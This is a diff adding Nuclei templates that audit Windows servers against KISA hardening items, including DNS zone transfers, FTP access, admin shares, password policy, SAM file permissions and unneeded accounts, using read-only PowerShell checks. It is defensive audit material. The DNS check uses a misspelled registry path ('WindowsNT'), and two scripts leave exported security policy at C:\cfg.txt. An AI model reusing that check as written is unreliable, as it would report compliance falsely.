code/windows/audit/kisa/dns-zone-transfer-check.yaml

@@ -0,0 +1,57 @@
+id: dns-zone-transfer-check
+
+info:
+  name: DNS Zone Transfer Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure DNS zone transfers are restricted by verifying that the SecureSecondaries registry value is set to 2 for all active zones.
+    Unrestricted zone transfers can expose sensitive domain information, helping attackers map the network infrastructure.
+  impact: |
+    If DNS zone transfers are not properly restricted, attackers could access domain and zone details, which may aid in planning and launching further attacks against the network infrastructure.
+  remediation: |
+    Configure DNS zone transfer restrictions by:
+    - Disabling zone transfers entirely, or
+    - Restricting transfers to designated servers by setting the SecureSecondaries registry value to 2.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,dns,zone-transfer
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $regPath = "HKLM:\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\DNS Server\Zones"
+      $zones = Get-ChildItem -Path $regPath -ErrorAction SilentlyContinue
+      if (!$zones) {
+          "DNS_ZONE_TRANSFER_COMPLIANT"
+          exit
+      }
+      $vulnerable = $false
+      foreach ($zone in $zones) {
+          $secureVal = (Get-ItemProperty -Path $zone.PSPath -ErrorAction SilentlyContinue).SecureSecondaries
+          if ($secureVal -ne 2) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "DNS_ZONE_TRANSFER_VULNERABLE"
+      } else {
+          "DNS_ZONE_TRANSFER_COMPLIANT"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "DNS_ZONE_TRANSFER_VULNERABLE"
+# digest: 4b0a00483046022100be81b405c5b43fdf1fb9aee817558e543a42f9c049d3df45c13ec227f7b0db900221009822d46e216e816a520a0bc614186cf3b157a4dd8adcfc092e035485822bd400:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/ftp-access-control-check.yaml

@@ -0,0 +1,54 @@
+id: ftp-access-control-check
+
+info:
+  name: FTP Access Control Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure FTP access is restricted by configuring IP address filters. Without these restrictions, unauthorized networks could potentially access FTP services.
+  impact: |
+    Lack of proper IP-based access control allows FTP services to be accessed by unauthorized networks, heightening the risk of data breaches and other security threats.
+  remediation: |
+    Set up IP address restrictions using IIS Manager:
+    - Open IIS Manager.
+    - Go to the FTP site → FTP IP Address and Domain Restrictions.
+    - Add the allowed IP addresses and configure suitable deny rules.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: ftp,iis,security,windows,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      Import-Module WebAdministration -ErrorAction SilentlyContinue
+      $ftpSites = Get-ChildItem IIS:\Sites | Where-Object { $_.Bindings.Collection.Protocol -eq "ftp" }
+      $vulnerable = $false
+      foreach ($site in $ftpSites) {
+          $ipSecurity = Get-WebConfigurationProperty -pspath "MACHINE/WEBROOT/APPHOST/$($site.Name)" -filter "system.ftpServer/security/ipSecurity" -name "allowUnlisted" -ErrorAction SilentlyContinue
+          # If allowUnlisted is true, FTP access is open to unlisted IPs (i.e., no proper IP restriction is applied)
+          if ($ipSecurity -eq $true) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "FTP_IP_ACCESS_CONTROL_NOT_CONFIGURED"
+      } else {
+          "FTP_IP_ACCESS_CONTROL_CONFIGURED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "FTP_IP_ACCESS_CONTROL_NOT_CONFIGURED"
+# digest: 4a0a00473045022030582b216f012703bf8b3f624b5598a65b9b606276db85587b50c76d7bb649dd022100e2745e62838e7c1fe2fc03a3dc6a49bbb82af10d7bf262198b6ae175f7f4308d:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/ftp-anonymous-check.yaml

@@ -0,0 +1,53 @@
+id: ftp-anonymous-check
+
+info:
+  name: Anonymous FTP Disabled Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that anonymous FTP authentication is disabled on all FTP sites. Allowing anonymous access permits unauthenticated users to connect, which can lead to serious security vulnerabilities.
+  impact: |
+    If anonymous FTP is enabled, attackers can bypass authentication and potentially gain unauthorized access to FTP resources, posing a significant security risk.
+  remediation: |
+    Disable anonymous FTP authentication using IIS Manager:
+    - Open IIS Manager.
+    - Navigate to the FTP site → FTP Authentication.
+    - Set "Anonymous Authentication" to Disabled.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: ftp,iis,security,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      Import-Module WebAdministration -ErrorAction SilentlyContinue
+      $ftpSites = Get-ChildItem IIS:\Sites | Where-Object { $_.Bindings.Collection.Protocol -eq "ftp" }
+      $vulnerable = $false
+      foreach ($site in $ftpSites) {
+          $anonAuth = Get-WebConfigurationProperty -pspath "MACHINE/WEBROOT/APPHOST/$($site.Name)" -filter "system.ftpServer/security/authentication/anonymousAuthentication" -name "enabled" -ErrorAction SilentlyContinue
+          if ($anonAuth -eq $true) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "ANONYMOUS_FTP_ENABLED"
+      } else {
+          "ANONYMOUS_FTP_DISABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "ANONYMOUS_FTP_ENABLED"
+# digest: 4a0a00473045022100a7c487be6ab61661f88bb5bc891f8f13a6c552b7ccd2a368b5c39189358fe452022018c475e6e9d30bb1f170fb3eeac3fc47d562758aec1e44e887f744dfcd7140b0:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/ftp-directory-permission-check.yaml

@@ -0,0 +1,57 @@
+id: ftp-directory-permission-check
+
+info:
+  name: FTP Directory Access Permission Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that the FTP home directory does not include the "Everyone" group in its access permissions. Granting access to this group may allow unauthorized users to view, modify, or tamper with FTP files.
+  impact: |
+    Assigning access to the "Everyone" group for the FTP home directory can result in information exposure, file tampering, or unauthorized changes.
+  remediation: |
+    Remove the "Everyone" group from FTP home directory permissions using the following methods:
+    - IIS Manager: Review and adjust the FTP site's home directory settings.
+    - File Explorer: Right-click the directory, select "Properties" → go to the "Security" tab, and remove the "Everyone" group.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: ftp,iis,security,windows,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Define the FTP home directory path (adjust if necessary)
+      $ftpHome = "C:\inetpub\ftproot"
+      if (!(Test-Path $ftpHome)) {
+          "FTP_HOME_DIRECTORY_NOT_FOUND"
+          exit
+      }
+      # Retrieve the ACL for the FTP home directory
+      $acl = Get-Acl $ftpHome
+      $vulnerable = $false
+      foreach ($ace in $acl.Access) {
+          if ($ace.IdentityReference.ToString() -like "*Everyone*") {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "FTP_HOME_DIRECTORY_EVERYONE_FOUND"
+      } else {
+          "FTP_HOME_DIRECTORY_NO_EVERYONE"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "FTP_HOME_DIRECTORY_EVERYONE_FOUND"
+# digest: 4b0a00483046022100d2fa5c4c6cbaa3343621441e4498d6bdf29509bfa9107ff0e9795621ba221137022100a9325c7ef8d03bfacfd7ca0a310e27544f6fb4fc5cb71566340282c780ca3717:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/hard-disk-default-share.yaml

@@ -0,0 +1,75 @@
+id: hard-disk-default-share
+
+info:
+  name: Hard Disk Default Share Removal Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure default administrative shares (e.g., C$, D$, Admin$) are disabled by verifying that the AutoShareServer registry value is set to 0.
+    Leaving these shares enabled can expose system resources to unauthorized access.
+  impact: |
+   If the AutoShareServer registry value is set to 1 or default administrative shares (excluding IPC$) are present, attackers may exploit them to gain unauthorized access to system resources.
+  remediation: |
+    Permanently disable default administrative shares by setting the AutoShareServer registry value to 0 at:
+    - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
+    - Additionally, remove any non-essential default shares using the appropriate system management tools.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: ftp,iis,code,windows-audit,kisa,share-permissions
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $vulnerable = $false
+      # Check the AutoShareServer registry value
+      $regPath = 'HKLM:\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'
+      $autoShare = (Get-ItemProperty -Path $regPath -Name AutoShareServer -ErrorAction SilentlyContinue).AutoShareServer
+      if ($autoShare -eq 1) {
+          $vulnerable = $true
+      }
+      # Retrieve list of shared folders using 'net share'
+      $netShares = net share | Out-String
+      $lines = $netShares -split "`n"
+      $shareNames = @()
+      $startParsing = $false
+      foreach ($line in $lines) {
+          if ($line -match "^-+") {
+              $startParsing = $true
+              continue
+          }
+          if ($startParsing -and $line.Trim() -ne "" -and $line -notmatch "The command completed successfully") {
+              $tokens = $line.Trim() -split "\s+"
+              if ($tokens.Count -gt 0) {
+                  $shareNames += $tokens[0]
+              }
+          }
+      }
+      # Define default shares to check (excluding IPC$)
+      $defaultShares = @("C$", "D$", "Admin$")
+      foreach ($share in $shareNames) {
+          if ($defaultShares -contains $share) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "DEFAULT_SHARE_VULNERABLE"
+      } else {
+          "DEFAULT_SHARE_COMPLIANT"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "DEFAULT_SHARE_VULNERABLE"
+# digest: 4a0a004730450221009ebdc7c1aef05392bad7dfec19455d19a49841b9c5450289066663f12f7cf7b702205fc2205ef3699f0479d05c18f6ba580269db8bfb3265cd700a7084fbe01794e2:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/password-cleartext-encryption.yaml

@@ -0,0 +1,50 @@
+id: password-cleartext-encryption
+
+info:
+  name: Store Passwords Using Reversible Encryption Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the "Store passwords using reversible encryption" policy is set to Disabled. If enabled, it can allow stored passwords to be retrieved in plaintext, posing a serious security risk.
+  impact: |
+    If this setting is enabled, attackers could potentially recover user passwords, leading to unauthorized access and compromise of network resources.
+  remediation: |
+    Disable this policy using one of the following methods:
+    - Command Line: Export the security configuration, set ClearTextPassword=0, and reapply it using secedit.
+    - GUI: Open Local Security Policy → Account Policies → Password Policy → "Store passwords using reversible encryption" and set it to Disabled.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,account-management,password-policy
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Export security settings to a configuration file
+      secedit /export /cfg C:\cfg.txt | Out-Null
+      $cfg = Get-Content C:\cfg.txt | Out-String
+      if ($cfg -match "ClearTextPassword\s*=\s*(\d)") {
+          $value = $Matches[1]
+          if ($value -eq "1") {
+              "CLEAR_TEXT_PASSWORD_ENABLED"
+          } else {
+              "CLEAR_TEXT_PASSWORD_DISABLED"
+          }
+      } else {
+          "CLEAR_TEXT_PASSWORD_NOT_FOUND"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "CLEAR_TEXT_PASSWORD_ENABLED"
+# digest: 490a0046304402206180f772353986ee4ee889d90160f393e2ebc4aa0522f36d6f7c786b055b70b9022012eaa06861d6d4669161f399c0c732efcc36cb235c906f501355a7dc2506a1b6:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/password-never-expires.yaml

@@ -0,0 +1,49 @@
+id: password-never-expires
+
+info:
+  name: Password Expiry Setting Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description:
+    Ensure the "Password never expires" setting is disabled for all active user accounts so that password expiration policies can be enforced effectively.
+  impact: |
+    Enabling the "Password never expires" setting overrides the maximum password age policy, preventing its enforcement and increasing the likelihood of credential compromise.
+  remediation: |
+    Disable the "Password never expires" setting using one of the following methods:
+    - Command Line: > wmic useraccount where name="USERNAME" set passwordexpires=true
+    - GUI: Use Local Security Policy to modify the user account settings accordingly.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,account-management,password-policy
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+
+    source: |
+      # Check all local, active user accounts for the password expiry setting
+      $users = Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount=True and Disabled=False"
+      $vulnerable = $users | Where-Object { $_.PasswordExpires -eq $false }
+      if ($vulnerable) {
+          "PASSWORD_NEVER_EXPIRES_ENABLED"
+      } else {
+          "PASSWORD_NEVER_EXPIRES_DISABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "PASSWORD_NEVER_EXPIRES_ENABLED"
+# digest: 4a0a0047304502203a4e9f5693235c56c670435681254344148b0278f6a6eca57a8b7f5efd5391ff022100e4ea776f07c36b837213a54e95d5e4f3bcc8344ef8b382bf3875c45303b56a3d:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/rds-removal-check.yaml

@@ -0,0 +1,79 @@
+id: rds-removal-check
+
+info:
+  name: RDS Removal Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that Remote Data Services (RDS) are either removed or not configured to reduce the risk of denial-of-service attacks or remote execution of administrative commands.
+    Compliance is met if any of the following conditions are true:
+    - IIS is not installed or in use,
+    - The default website does not include the /msadc virtual directory, or
+    - The relevant ADCLaunch registry keys associated with RDS are not present.
+  impact: |
+    Improperly configured RDS can be exploited by attackers to execute remote code or launch denial-of-service attacks.
+  remediation: |
+    To mitigate RDS-related risks, take the following actions:
+      - Remove the /msadc virtual directory from the default website.
+      - Delete these registry keys:
+        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\RDSServer.DataFactory
+        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\AdvancedDataFactory
+        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\VbBusObj.VbBusObjCls
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: rds,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+
+    source: |
+      # Check if IIS (W3SVC) service is present; if not, IIS is not used and RDS is implicitly compliant.
+      $iisService = Get-Service -Name W3SVC -ErrorAction SilentlyContinue
+      if (-not $iisService) {
+          Write-Output "RDS_COMPLIANT"
+          exit
+      }
+      # Check for the existence of the /msadc virtual directory in the Default Web Site.
+      $msadcExists = $false
+      try {
+          Import-Module WebAdministration -ErrorAction SilentlyContinue
+          $vdirs = Get-WebVirtualDirectory -Site "Default Web Site" -ErrorAction SilentlyContinue
+          if ($vdirs) {
+              foreach ($vdir in $vdirs) {
+                  if ($vdir.Path -eq "/msadc") {
+                      $msadcExists = $true
+                      break
+                  }
+              }
+          }
+      } catch {}
+      # Check for ADCLaunch registry keys related to RDS.
+      $adcLaunchPath = "HKLM:\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch"
+      $rdServerExists = Test-Path "$adcLaunchPath\RDSServer.DataFactory"
+      $advDataExists = Test-Path "$adcLaunchPath\AdvancedDataFactory"
+      $vbBusObjExists = Test-Path "$adcLaunchPath\VbBusObj.VbBusObjCls"
+      # Compliance is achieved if the /msadc virtual directory does not exist OR none of the registry keys exist.
+      if ((-not $msadcExists) -or (-not ($rdServerExists -or $advDataExists -or $vbBusObjExists))) {
+          Write-Output "RDS_COMPLIANT"
+      } else {
+          Write-Output "RDS_VULNERABLE"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "RDS_VULNERABLE"
+# digest: 490a00463044022040fa4e2daa7a86c4a99e9e8b693567504a71bc593b6b90852043b263b37c438a0220309aa44e82609268e6f6d529ef3354fde78cfc0580b52f24eb03f9ef1539770e:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/remote-registry-access-check.yaml

@@ -0,0 +1,44 @@
+id: remote-registry-access-check
+
+info:
+  name: Remote Registry Service Disabled Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the Remote Registry Service is disabled to block remote access to the Windows registry. Allowing remote registry access can lead to unauthorized changes and pose a serious security risk.
+  impact: |
+    If the Remote Registry Service is enabled, attackers with administrative privileges could remotely access and modify registry settings, heightening the risk of system compromise.
+  remediation: |
+    Disable the Remote Registry Service by setting its startup type to "Disabled" (Start value = 4) using one of the following methods:
+    - Registry Editor: Navigate to
+       - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteRegistry and set the Start value to 4.
+        - Services Console: Locate the Remote Registry service, set its startup type to "Disabled", and stop the service.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,registry,remote-access
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $remoteRegistry = Get-Service -Name RemoteRegistry -ErrorAction SilentlyContinue
+      if ($remoteRegistry -and $remoteRegistry.Status -eq "Running") {
+          "REMOTE_REGISTRY_ENABLED"
+      } else {
+          "REMOTE_REGISTRY_DISABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "REMOTE_REGISTRY_ENABLED"
+# digest: 490a0046304402203fb235c6a7ca71c6858e31c863effedd845cf40e384b97b22051a206c0bbcc08022020ec6be858126ba85edc925c32e91882a68c38aadf86a1793bcd5670c54fde24:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/remote-system-shutdown.yaml

@@ -0,0 +1,52 @@
+id: remote-system-shutdown
+
+info:
+  name: Remote System Forced Shutdown Privilege Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the "Force shutdown from a remote system" policy (SeRemoteShutdownPrivilege) is assigned only to the Administrators group (SID: S-1-5-32-544). Granting this privilege to unauthorized accounts can allow attackers to remotely shut down the system, posing a significant risk.
+  impact: |
+    Granting this privilege to accounts or groups other than Administrators can be exploited to carry out unauthorized remote shutdowns, resulting in service disruptions or denial-of-service conditions.
+  remediation: |
+    Configure the policy to grant the SeRemoteShutdownPrivilege exclusively to the Administrators group by setting its value to S-1-5-32-544 only.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: policy,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Export the current security settings to a configuration file.
+      $cfgPath = "C:\cfg.txt"
+      secedit /export /cfg $cfgPath | Out-Null
+      # Read the exported configuration file.
+      $cfg = Get-Content $cfgPath | Out-String
+      # Extract the SeRemoteShutdownPrivilege value.
+      if ($cfg -match "SeRemoteShutdownPrivilege\s*=\s*(.*)") {
+          $privs = $Matches[1].Trim()
+          # Check if only the Administrators SID (S-1-5-32-544) is present.
+          if ($privs -eq "S-1-5-32-544") {
+              "REMOTE_SHUTDOWN_PRIVILEGE_COMPLIANT"
+          } else {
+              "REMOTE_SHUTDOWN_PRIVILEGE_VULNERABLE"
+          }
+      } else {
+          "REMOTE_SHUTDOWN_PRIVILEGE_NOT_FOUND"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "REMOTE_SHUTDOWN_PRIVILEGE_VULNERABLE"
+# digest: 490a004630440220036867acb4067c5a103c2ebd6f8b8c3afc113f9c35cffdf696aa7951ab6eca3d022073e3c70aef90e0785eada52c27726cabdfe0020fd19de73994062f43744f8601:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/sam-file-access-control.yaml

@@ -0,0 +1,59 @@
+id: sam-file-access-control
+
+info:
+  name: SAM File Access Control Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the SAM file (%SystemRoot%\system32\config\SAM) is secured so that only the Administrators and SYSTEM groups have full access.The presence of permissions for any other users or groups represents a potential security vulnerability.
+  impact: |
+    If users or groups besides Administrators and SYSTEM have access to the SAM file, attackers could exploit this to obtain sensitive password data, raising the risk of password-based attacks.
+  remediation: |
+    Revoke any permissions assigned to users or groups other than Administrators and SYSTEM by:
+    - Running the command: > cacls %systemroot%\system32\config\SAM /remove:g [UserOrGroup]
+    - Or by adjusting the permissions through File Explorer.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: sam,account-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $samPath = "$env:SystemRoot\system32\config\SAM"
+      if (-Not (Test-Path $samPath)) {
+          "SAM_FILE_NOT_FOUND"
+          exit
+      }
+      # Retrieve the ACL for the SAM file
+      $acl = Get-Acl $samPath
+      # Define allowed identities (variations may exist)
+      $allowed = @("BUILTIN\Administrators", "Administrators", "NT AUTHORITY\SYSTEM", "SYSTEM")
+      $vulnerable = $false
+      foreach ($ace in $acl.Access) {
+          $account = $ace.IdentityReference.ToString()
+          if ($allowed -notcontains $account) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "SAM_ACCESS_VULNERABLE"
+      } else {
+          "SAM_ACCESS_COMPLIANT"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "SAM_ACCESS_VULNERABLE"
+# digest: 490a00463044022040dec32d4771631e7b3d39511a48983e2fadad35eb9c1c0ddd873fbdf3d204ab02203870f2731378bab592f0218f083a88ca737324ef53a99f9a182488e58c645970:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/service-pack-check.yaml

@@ -0,0 +1,65 @@
+id: service-pack-check
+
+info:
+  name: Latest Service Pack Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Confirm that the system is updated with the latest security patches and service packs. Regular updates help protect against known vulnerabilities.
+  impact: |
+    Neglecting to install the latest service packs or updates can leave the system vulnerable to exploits and security breaches.
+  remediation: |
+    Apply the latest service packs or build updates as follows:
+      - Windows Server 2012: Refer to https://support.microsoft.com/ko-kr/help/4009470
+      - Windows Server 2016: Refer to https://support.microsoft.com/ko-kr/help/4043454
+      - Windows Server 2019: Refer to https://support.microsoft.com/ko-kr/help/4581839
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,service-pack,security,patch-management
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+    source: |
+      # Retrieve operating system details.
+      $os = Get-CimInstance -ClassName Win32_OperatingSystem
+      $caption = $os.Caption
+      $servicePack = $os.ServicePackMajorVersion
+      # For Windows Server 2012, a service pack should be installed.
+      if ($caption -match "2012") {
+          if ($servicePack -gt 0) {
+              "SERVICE_PACK_COMPLIANT"
+          } else {
+              "SERVICE_PACK_VULNERABLE"
+          }
+      }
+      # For Windows Server 2016, 2019, or 2022, service packs are generally not applicable; assume compliance.
+      elseif ($caption -match "2016" -or $caption -match "2019" -or $caption -match "2022") {
+          "SERVICE_PACK_COMPLIANT"
+      }
+      else {
+          # For other versions, check if a service pack is installed.
+          if ($servicePack -gt 0) {
+              "SERVICE_PACK_COMPLIANT"
+          } else {
+              "SERVICE_PACK_VULNERABLE"
+          }
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "SERVICE_PACK_VULNERABLE"
+# digest: 4b0a00483046022100e9936511acbd6aa8d53493ae304f9720cfa57633ba6f5445fe28f0f73ef15771022100c72324f300f46d3125f554310e950c43b8db81b69cc2df67c0f2c8caf05fa698:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/shutdown-without-logon.yaml

@@ -0,0 +1,44 @@
+id: shutdown-without-logon
+
+info:
+  name: Shutdown Without Logon Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the "Shutdown Without Logon" policy is disabled by confirming that the ShutdownWithoutLogon registry value is set to 0. If enabled, the system permits shutdown from the logon screen, increasing the risk of unauthorized shutdowns.
+  impact: |
+    When enabled, this setting permits unauthorized users to shut down the system without logging in, which can lead to service interruptions.
+  remediation: |
+    Disable this policy by setting the ShutdownWithoutLogon registry value to 0 at:
+    - HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System
+    - Alternatively, configure the setting through the Local Security Policy.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,registry
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $regPath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\system"
+      $shutdownValue = (Get-ItemProperty -Path $regPath -Name ShutdownWithoutLogon -ErrorAction SilentlyContinue).ShutdownWithoutLogon
+      if ($shutdownValue -eq 0) {
+          "SHUTDOWN_WITHOUT_LOGON_DISABLED"
+      } else {
+          "SHUTDOWN_WITHOUT_LOGON_ENABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "SHUTDOWN_WITHOUT_LOGON_ENABLED"
+# digest: 4a0a00473045022018857656947f47ed923eb8d6a88640c2ac9b97657ddfe5469fa3bba48425626f022100e6f589dadc2638398601e3c32538720e816c66f368ae54cbfc6f52dccd2a0de6:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/unnecessary-accounts-check.yaml

@@ -0,0 +1,57 @@
+id: unnecessary-accounts-check
+
+info:
+  name: Unnecessary Accounts Detection
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description:
+    Identify local user accounts that deviate from default settings and could present security risks.
+  impact: |
+    Unmanaged accounts expand the attack surface, making credential-based attacks such as brute-force and password spraying more likely.
+  remediation: |
+    Delete unnecessary accounts by running:
+    - > net user [account_name] /delete
+    - Or disable them via Local Security Policy.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,security-audit,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+    source: |
+      # Default system accounts SID patterns
+      $protectedSIDs = @('*-500', '*-501', '*-503', '*-504')
+      # Get all non-default local users
+      $users = Get-LocalUser | Where-Object {
+          $_.SID -notlike $protectedSIDs[0] -and
+          $_.SID -notlike $protectedSIDs[1] -and
+          $_.SID -notlike $protectedSIDs[2] -and
+          $_.SID -notlike $protectedSIDs[3]
+      }
+      # Output results
+      if ($users) {
+          $userList = $users.Name -join '|'
+          "UNNECESSARY_ACCOUNTS_FOUND: $userList"
+      } else {
+          "NO_UNNECESSARY_ACCOUNTS"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "UNNECESSARY_ACCOUNTS_FOUND:"
+        part: body
+# digest: 4a0a004730450221008a48585ba39dac74e089e350c9f13dcdb3967121ce24f5e39c3397fee0881e72022073c2b7cd07c39a8e4d3bca7c127017c253c1125fcd96d71312390de684319ef8:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/unnecessary-service-check.yaml

@@ -0,0 +1,54 @@
+id: unnecessary-service-check
+
+info:
+  name: Unnecessary Service Removal Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
